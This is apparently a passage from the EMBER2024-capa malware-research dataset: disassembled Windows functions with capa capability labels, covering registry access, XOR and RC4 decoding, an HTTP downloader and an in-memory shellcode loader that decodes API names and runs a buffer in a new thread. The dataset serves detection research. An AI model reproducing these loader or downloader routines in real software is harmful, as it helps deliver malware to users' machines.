joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1004e730
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100a0e72
mov eax, dword fs:[0]
push eax
sub esp, 0x818
mov eax, dword [0x100cc464]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
xor edx, edx
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
mov ebx, dword [ebp + 0x14]
mov dword [ebp - 0x824], esi
mov dword [ebp - 0x81c], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov dword [ebp - 0x818], 0
mov word [esi], dx
mov dword [ebp - 4], edx
mov dword [ebp - 0x81c], 1
test ecx, ecx
je 0x1004e860
test eax, eax
je 0x1004e860
test ebx, ebx
je 0x1004e860
lea edx, [ebp - 0x818]
push edx
push 0x20219
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1004e84f
cmp dword [ebp - 0x818], eax
je 0x1004e860
push 0x802
push eax
lea eax, [ebp - 0x814]
push eax
call fcn.10075cd0
add esp, 0xc
mov dword [ebp - 0x820], 0x800
lea eax, [ebp - 0x820]
push eax
lea eax, [ebp - 0x814]
push eax
push 0
push 0xffff
push ebx
push 0
push dword [ebp - 0x818]
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
jne 0x1004e84f
lea ecx, [ebp - 0x814]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1004e831
sub ecx, edx
lea eax, [ebp - 0x814]
sar ecx, 1
push ecx
push eax
mov ecx, esi
call fcn.1000c570
mov eax, dword [ebp - 0x818]
test eax, eax
je 0x1004e860
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10058174
mov esp, ebp
pop ebp
ret 0x10
Function at 0x1005bf90
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100a1ff1
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x100cc464]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x14]
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 1
mov dword [ebp - 0x1c], 0
mov dword [edi], 0
call fcn.10008980
mov ecx, eax
test ecx, ecx
je 0x1005c124
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [edi], eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x24], 1
push eax
push 0xf003f
push 0
push dword [ebp + 0x10]
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1005c0e5
lea eax, [ebp - 0x14]
xorps xmm0, xmm0
push eax
push 0
lea eax, [ebp - 0x18]
movlpd qword [ebp - 0x18], xmm0
push eax
push 0
push ebx
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1005c0d7
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x1005c0e5
add eax, 0x10
push 0x100d19f0
push eax
mov dword [ebp - 0x20], eax
call fcn.10058886
mov esi, eax
add esp, 8
test esi, esi
je 0x1005c0e5
push dword [ebp - 0x20]
push 0
push esi
call fcn.10075cd0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
push esi
push 0
push 0
push ebx
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x1005c09a
push esi
call fcn.10057e0c
add esp, 4
jmp 0x1005c0e5
mov ecx, esi
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1005c0a0
sub ecx, edx
sar ecx, 1
je 0x1005c0ce
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x1005c0b6
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.1000b220
push esi
call fcn.10057e0c
add esp, 4
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1005c0e5
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp + 0x10]
or eax, 0xffffffff
mov byte [ebp - 4], 0
add esi, 0xfffffff0
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x1005c104
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10058174
mov esp, ebp
pop ebp
ret 0x10
push 0x80004005
call fcn.10007510
int3
Function at 0x1005c130
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x100cc464]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x14]
mov esi, edi
mov dword [ebp - 0xc], eax
lea edx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x1005c154
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0xf003f
push 0
push dword [ebp + 0xc]
sub esi, edx
push ecx
sar esi, 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor ebx, ebx
test eax, eax
sete bl
test eax, eax
jne 0x1005c1b6
lea eax, [esi*2 + 2]
push eax
push edi
push 1
push 0
push dword [ebp - 0xc]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
neg eax
sbb ebx, ebx
mov eax, dword [ebp - 8]
inc ebx
test eax, eax
je 0x1005c1b6
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp + 0xc]
or ecx, 0xffffffff
add eax, 0xfffffff0
lock xadd dword [eax + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x1005c1d1
mov ecx, dword [eax]
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10058174
mov esp, ebp
pop ebp
ret 0x10

Function at 0x1005e090
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x10072bb0
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ec
mov eax, dword [0x100cc464]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x2ec], ebx
push edi
test ebx, ebx
je 0x10072db4
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x10072db4
push esi
push 0x64
lea eax, [ebp - 0x68]
push 0
push eax
call fcn.10075cd0
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x2d8]
add esp, 0xc
push eax
push 8
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionNetworkCards
push 0x80000002
call esi
test eax, eax
jne 0x10072d89
xor edi, edi
mov dword [ebp - 0x2dc], 0x104
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x2dc]
push eax
lea eax, [ebp - 0x1d0]
push eax
push edi
push dword [ebp - 0x2d8]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x10072d78
lea eax, [ebp - 0x2e0]
push eax
push 1
push 0
lea eax, [ebp - 0x1d0]
push eax
push dword [ebp - 0x2d8]
call esi
test eax, eax
jne 0x10072d42
lea eax, [ebp - 0x2e4]
mov dword [ebp - 0x2e8], 1
push eax
lea eax, [ebp - 0x2d4]
mov dword [ebp - 0x2e4], 0x104
push eax
lea eax, [ebp - 0x2e8]
push eax
push 0
push str.ServiceName
push dword [ebp - 0x2e0]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10072d3a
push 0x64
push eax
lea eax, [ebp - 0xcc]
push eax
call fcn.10075cd0
push 0x64
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x2d4]
push eax
call fcn.10072dd0
add esp, 0x18
test eax, eax
je 0x10072d3a
cmp byte [ebp - 0x68], 0
je 0x10072cfc
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0xcc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jns 0x10072d3a
lea ecx, [ebp - 0x68]
mov edx, 0x64
lea esi, [ebp - 0xcc]
mov eax, ecx
sub esi, eax
nop
lea eax, [edx + 0x7fffff9a]
test eax, eax
je 0x10072d29
mov al, byte [esi + ecx]
test al, al
je 0x10072d29
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x10072d10
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ecx - 1]
test edx, edx
cmovne eax, ecx
mov byte [eax], 0
push dword [ebp - 0x2e0]
call ebx
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x2dc]
mov dword [ebp - 0x2dc], 0x104
push eax
lea eax, [ebp - 0x1d0]
inc edi
push eax
push edi
push dword [ebp - 0x2d8]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
je 0x10072c50
push dword [ebp - 0x2d8]
call ebx
mov ebx, dword [ebp - 0x2ec]
mov edi, dword [ebp + 0xc]
cmp byte [ebp - 0x68], 0
pop esi
je 0x10072db4
lea eax, [ebp - 0x68]
push eax
push edi
push ebx
call fcn.10073da0
xor ecx, ecx
test eax, eax
pop edi
setns cl
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10058174
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop ebx
call fcn.10058174
mov esp, ebp
pop ebp
ret
Function at 0x10072ef0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50c
mov eax, dword [0x100cc464]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x1007306f
cmp dword [ebp + 0xc], 0x20
jb 0x1007306f
push 0x400
lea eax, [ebp - 0x504]
mov dword [ebp - 0x50c], 1
push 0
push eax
mov dword [ebp - 0x508], 0x400
call fcn.10075cd0
add esp, 0xc
lea eax, [ebp - 0x508]
push eax
lea eax, [ebp - 0x504]
push eax
lea eax, [ebp - 0x50c]
push eax
push 0x100b059c
push str.SoftwareComMaster
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
test eax, eax
jne 0x1007306f
lea ecx, [ebp - 0x504]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10072f80
sub ecx, edx
cmp ecx, 0x40
jne 0x1007306f
lea edx, [ecx + 0x40]
push esi
lea ecx, [ebp - 0x84]
lea esi, [ebp - 0x504]
mov eax, ecx
sub esi, eax
lea eax, [edx - 0x60]
test eax, eax
je 0x10072fbc
mov al, byte [esi + ecx]
test al, al
je 0x10072fbc
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x10072fa6
test edx, edx
lea eax, [ecx - 1]
lea esi, [ebp - 0x4e4]
mov edx, 0x80
cmovne eax, ecx
lea ecx, [ebp - 0x104]
mov byte [eax], 0
mov eax, ecx
sub esi, eax
nop dword [eax]
lea eax, [edx + 0x7fffff7e]
test eax, eax
je 0x10072ff9
mov al, byte [esi + ecx]
test al, al
je 0x10072ff9
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x10072fe0
test edx, edx
lea eax, [ecx - 1]
push 0x400
cmovne eax, ecx
push 0
mov byte [eax], 0
lea eax, [ebp - 0x504]
push eax
call fcn.10075cd0
push 0x400
lea eax, [ebp - 0x504]
push eax
lea eax, [ebp - 0x84]
push eax
call fcn.10073080
add esp, 0x18
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x504]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
pop esi
test eax, eax
jne 0x1007306f
lea eax, [ebp - 0x84]
push eax
push dword [ebp + 0xc]
push edi
call fcn.10073da0
neg eax
pop edi
sbb eax, eax
inc eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10058174
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop edi
call fcn.10058174
mov esp, ebp
pop ebp
ret
Function at 0x10073940
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2c10
call fcn.10058650
mov eax, dword [0x100cc464]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2c10], eax
test eax, eax
je 0x10073aad
cmp dword [ebp + 0xc], 0
je 0x10073aad
push ebx
push esi
xor ebx, ebx
xor esi, esi
push edi
nop dword [eax]
push esi
push str..PhysicalDrive_d
lea eax, [ebp - 0x104]
push 0x100
push eax
call fcn.1003e530
add esp, 0x10
lea eax, [ebp - 0x104]
push 0
push 0
push 3
push 0
push 3
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10073a90
push 0x2710
xorps xmm0, xmm0
mov dword [ebp - 0x2c0c], 0
lea eax, [ebp - 0x2bfc]
movq qword [ebp - 0x2c08], xmm0
push 0
push eax
mov dword [ebp - 0x2c00], 0
mov dword [ebp - 0x2c08], 0
mov dword [ebp - 0x2c04], 0
call fcn.10075cd0
add esp, 0xc
lea eax, [ebp - 0x2c0c]
push 0
push eax
push 0x2710
lea eax, [ebp - 0x2bfc]
push eax
push 0xc
lea eax, [ebp - 0x2c08]
push eax
push 0x2d1400
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x10073a85
push 0x3e8
lea eax, [ebp - 0x4ec]
push 0
push eax
call fcn.10075cd0
lea eax, [ebp - 0x4ec]
push eax
push 1
push dword [ebp - 0x2be4]
lea eax, [ebp - 0x2bfc]
push eax
call fcn.10074aa0
add esp, 0x1c
lea eax, [ebp - 0x4ec]
push eax
push dword [ebp + 0xc]
push dword [ebp - 0x2c10]
call fcn.10073da0
test eax, eax
mov eax, 1
cmove ebx, eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x10073a9a
inc esi
cmp esi, 0x10
jl 0x10073980
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10058174
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.10058174
mov esp, ebp
pop ebp
ret
Function at 0x10073ac0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x100cc464]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
test ebx, ebx
je 0x10073ba8
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.10075cd0
add esp, 0xc
lea eax, [ebp - 0x20c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov edx, eax
test edx, edx
je 0x10073ba8
mov ecx, ebx
lea esi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10073b17
sub ecx, esi
mov eax, 0x103
sar ecx, 1
sub eax, ecx
cmp edx, eax
jae 0x10073ba8
push edi
lea edi, [ebp - 0x20c]
add edi, 0xfffffffe
nop dword [eax + eax]
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x10073b40
mov eax, dword [0x100ac230]
mov esi, ebx
mov dword [edi], eax
mov ax, word [ebx]
add ebx, 2
test ax, ax
jne 0x10073b55
lea edi, [ebp - 0x20c]
sub ebx, esi
add edi, 0xfffffffe
nop dword [eax + eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x10073b70
mov ecx, ebx
lea eax, [ebp - 0x20c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10058174
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.10058174
mov esp, ebp
pop ebp
ret
Function at 0x10073bc0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x290
mov eax, dword [0x100cc464]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x84]
push edi
push 0x80
push 0
push eax
call fcn.10075cd0
push 0x80
lea eax, [ebp - 0x84]
push eax
push esi
call fcn.10073080
lea ecx, [ebp - 0x188]
mov edi, esi
mov eax, ecx
add esp, 0x18
mov edx, 0x104
sub edi, eax
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x10073c2a
mov al, byte [edi + ecx]
test al, al
je 0x10073c2a
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x10073c11
lea eax, [ecx - 1]
test edx, edx
cmovne eax, ecx
mov ecx, 0x104
mov byte [eax], 0
lea eax, [ebp - 0x188]
cmp byte [eax], 0
je 0x10073c4b
inc eax
sub ecx, 1
jne 0x10073c40
mov edx, 0x104
mov edi, ecx
mov eax, edx
sub eax, ecx
neg edi
sbb edi, edi
and edi, eax
test ecx, ecx
je 0x10073ca0
lea ecx, [ebp - 0x188]
lea ecx, [ecx + edi]
sub edx, edi
je 0x10073c95
lea edi, [ebp - 0x84]
mov eax, 0x7fffffff
sub edi, ecx
push ebx
nop dword [eax + eax]
test eax, eax
je 0x10073c94
mov bl, byte [edi + ecx]
test bl, bl
je 0x10073c94
mov byte [ecx], bl
dec eax
inc ecx
sub edx, 1
jne 0x10073c80
pop ebx
test edx, edx
lea eax, [ecx - 1]
cmovne eax, ecx
mov byte [eax], 0
push 0x100
lea eax, [ebp - 0x288]
mov dword [ebp - 0x290], 1
push 0
push eax
call fcn.10075cd0
add esp, 0xc
mov dword [ebp - 0x28c], 0x100
lea eax, [ebp - 0x28c]
push eax
lea eax, [ebp - 0x288]
push eax
lea eax, [ebp - 0x290]
push eax
push 0x100b059c
push str.SoftwareComMaster
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
mov edi, dword [sym.imp.SHLWAPI.dll_SHSetValueA]
test eax, eax
jne 0x10073d5a
lea eax, [ebp - 0x288]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x10073d24
test cl, cl
je 0x10073d20
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x10073d24
add eax, 2
add esi, 2
test cl, cl
jne 0x10073d04
xor eax, eax
jmp 0x10073d29
sbb eax, eax
or eax, 1
test eax, eax
je 0x10073d5a
lea ecx, [ebp - 0x288]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10073d36
sub ecx, edx
lea eax, [ebp - 0x288]
push ecx
push eax
push 1
push str.mid_old
push str.SoftwareComMaster
push 0x80000002
call edi
lea ecx, [ebp - 0x188]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10073d63
sub ecx, edx
lea eax, [ebp - 0x188]
push ecx
push eax
push 1
push 0x100b059c
push str.SoftwareComMaster
push 0x80000002
call edi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.10058174
mov esp, ebp
pop ebp
ret

Function at 0x1009415f
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10093e1f
Function at 0x4095f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push eax
push ecx
nop
push edx
nop
push ebx
push esp
push ebp
push esi
push edi
push ebp
mov ebp, esp
sub esp, 0x74

Function at 0x409600
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov dword [ebp - 4], 9
mov dword [ebp - 8], 4
mov ebx, 9
mov dword [ebp - 0x10], 0xb
mov edi, 0xa
mov dword [ebp - 0x14], 0x3356
jmp 0x40984a
mov eax, ebx
add eax, dword [ebp - 8]
sub eax, 0xd
mov dword [ebp - 0x2c], eax
jmp 0x40979f
mov dword [ebp - 0x34], 0x4f41260a
jmp 0x40962b
add dword [ebp - 0xc], 0x24f8
jmp 0x40963b
mov dword [ebp - 0x3c], 0x495000
jmp 0x40965b
dec dword [ebp - 0x34]
jmp 0x40964d
mov eax, dword [ebp - 4]
add eax, ebx
sub eax, 0xf
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x14], eax
jbe 0x4096c0
inc dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov edx, ebx
sub edx, 8
sub eax, edx
mov edx, dword [ebp - 0xc]
mov al, byte [edx + eax]
mov byte [ebp - 0x15], al
movzx edx, byte [ebp - 0x15]
mov dword [ebp - 0x74], edx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
mov edx, eax
shr edx, 1
add ecx, edx
mov edx, ecx
and edx, 0xff
mov ecx, dword [ebp - 0x74]
xor ecx, edx
mov edx, ecx
mov byte [ebp - 0x15], dl
mov dword [ebp - 0x48], 0x46c6d7
jmp 0x40976a
mov dword [ebp - 0x4c], 0x489ad7
mov dword [ebp - 0x50], 0x4ce000
jmp 0x4096e8
add dword [ebp - 0x14], 0xc72
jmp 0x409656
mov eax, dword [ebp - 0x10]
add eax, ebx
sub eax, 0x14
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x48]
mov al, byte [edx + eax]
mov byte [ebp - 0x15], al
inc dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov edx, ebx
sub edx, 8
sub eax, edx
mov edx, dword [ebp - 0x3c]
mov cl, byte [ebp - 0x15]
mov byte [edx + eax], cl
mov eax, 0x1d2d4
cmp eax, dword [ebp - 0x20]
jbe 0x40972d
jmp 0x4096f3
add dword [ebp - 0x14], 0x23e38
jmp 0x409644
mov dword [ebp - 0x54], 0x10000000
mov esi, 0x4910d7
mov eax, edi
add eax, dword [ebp - 8]
sub eax, 0xe
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
mov cl, byte [ecx + eax]
mov byte [edx + eax], cl
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x6f30
jb 0x409744
inc dword [ebp - 0x2c]
jmp 0x4097ab
add dword [ebp - 0xc], 0x2614
jmp 0x4096dc
mov eax, edi
sub eax, 7
cmp eax, dword [ebp - 0x2c]
jbe 0x4096cc
jmp 0x40964d
mov dword [ebp - 0x44], 0x4677cb
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0xc], eax
jmp 0x409721

Function at 0x4096a9
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [ebp - 0x1c]
mov edx, edi
add edx, ebx
sub edx, 0x12
sub eax, edx
mov edx, dword [ebp - 0xc]
mov cl, byte [ebp - 0x15]
mov byte [edx + eax], cl
jmp 0x409666
Function at 0x100010f3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword [ebp + 0xc], 0
xorps xmm0, xmm0
push ebx
mov ebx, ecx
movlpd qword [ebp - 8], xmm0
jb 0x10001143
ja 0x10001111
cmp dword [ebp + 8], 0
jbe 0x10001143
push esi
mov esi, dword [ebp - 8]
push edi
mov edi, dword [ebp - 4]
mov eax, dword [ebp + 0x10]
mov ecx, esi
mov edx, dword [ebp + 0x14]
and ecx, 7
shl ecx, 3
call fcn.100147d0
xor byte [esi + ebx], al
add esi, 1
adc edi, 0
cmp edi, dword [ebp + 0xc]
jb 0x10001119
ja 0x10001141
cmp esi, dword [ebp + 8]
jb 0x10001119
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000121b
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push 0x414
mov eax, 0x10014a9f
call fcn.10014497
mov esi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x420], esi
mov dword [ebp - 0x414], ebx
push 0x3ff
xor edi, edi
lea eax, [ebp - 0x40f]
inc edi
push ebx
mov dword [ebp - 4], edi
push eax
mov byte [ebp - 0x410], bl
call fcn.10004190
add esp, 0xc
mov dword [esi], ebx
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
push ebx
push ebx
push ebx
push ebx
push 0x1001ab90
mov dword [ebp - 0x414], edi
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, 0xffffffff
je 0x100012ef
cmp dword [ebp + 0x20], 0xf
lea eax, [ebp + 0xc]
push ebx
cmova eax, dword [ebp + 0xc]
push 0x4000000
push ebx
push ebx
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
test eax, eax
je 0x100012ec
mov ebx, eax
lea eax, [ebp - 0x41c]
push eax
push 0x400
lea eax, [ebp - 0x410]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
push 0x400
lea eax, [ebp - 0x410]
mov ecx, esi
push eax
push dword [esi + 4]
call fcn.10001325
cmp dword [ebp - 0x41c], 0x400
je 0x100012a7
push ebx
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
call ebx
push edi
call ebx
lea ecx, [ebp + 0xc]
call fcn.10001146
mov eax, esi
call fcn.10014455
ret 0x1c
Function at 0x100014a2
Capabilities:
Link many functions at runtime

Disassembly:
push 0x14
mov eax, 0x10014ad6
call fcn.10014464
xor ebx, ebx
mov dword [ebp - 4], ebx
call fcn.10001664
mov esi, eax
cmp byte [esi + 0xd], bl
je 0x100014d9
push 0xd76bd737
push 0xd54d5575
push ebx
push 0xd
mov ecx, esi
call fcn.100010f3
add esp, 0x10
mov byte [esi + 0xd], bl
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
call edi
mov ebx, eax
call fcn.1000170f
mov esi, eax
cmp byte [esi + 0xa], 0
je 0x1000150d
push 0xe9b5b3b1
push 0xc77d4573
push 0
push 0xa
mov ecx, esi
call fcn.100010f3
add esp, 0x10
mov byte [esi + 0xa], 0
push esi
call edi
mov dword [ebp - 0x10], eax
call fcn.100017b5
mov esi, eax
cmp byte [esi + 0xd], 0
je 0x1000153c
push 0x47abcda5
push 0x93a3c787
push 0
push 0xd
mov ecx, esi
call fcn.100010f3
add esp, 0x10
mov byte [esi + 0xd], 0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
push ebx
call edi
mov dword [ebp - 0x14], eax
call fcn.10001860
mov esi, eax
cmp byte [esi + 0xe], 0
je 0x10001572
push 0x91219b1f
push 0xf7f5f1d5
push 0
push 0xe
mov ecx, esi
call fcn.100010f3
add esp, 0x10
mov byte [esi + 0xe], 0
push esi
push dword [ebp - 0x10]
call edi
mov dword [ebp - 0x10], eax
call fcn.1000190d
mov esi, eax
cmp byte [esi + 0xf], 0
je 0x100015a4
push 0x65617345
push 0x2549d30d
push 0
push 0xf
mov ecx, esi
call fcn.100010f3
add esp, 0x10
mov byte [esi + 0xf], 0
push esi
push ebx
call edi
mov dword [ebp - 0x1c], eax
call fcn.100019be
mov esi, eax
cmp byte [esi + 0xd], 0
je 0x100015d4
push 0xefc7bf81
push 0xa1d573c5
push 0
push 0xd
mov ecx, esi
call fcn.100010f3
add esp, 0x10
mov byte [esi + 0xd], 0
push esi
push ebx
call edi
mov dword [ebp - 0x20], eax
call fcn.10001a69
mov esi, eax
cmp byte [esi + 0x14], 0
je 0x10001604
push 0x89f52b39
push 0x45a9b135
push 0
push 0x14
mov ecx, esi
call fcn.100010f3
add esp, 0x10
mov byte [esi + 0x14], 0
push esi
push ebx
call edi
mov ecx, dword [ebp + 0xc]
xor ebx, ebx
sub ecx, dword [ebp + 8]
mov edi, eax
push 4
push 0x3000
push ecx
push ebx
mov dword [ebp - 0x18], ebx
call dword [ebp - 0x14]
mov ecx, dword [ebp + 0xc]
mov esi, eax
sub ecx, dword [ebp + 8]
push ecx
push dword [ebp + 8]
push esi
call dword [ebp - 0x10]
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x18]
sub ecx, dword [ebp + 8]
push eax
push 0x20
push ecx
push esi
call dword [ebp - 0x1c]
test eax, eax
je 0x10001654
push ebx
push ebx
push ebx
push esi
push ebx
push ebx
call dword [ebp - 0x20]
push 0xffffffffffffffff
push eax
call edi
lea ecx, [ebp + 8]
call fcn.10001306
call fcn.10014441
ret 0xc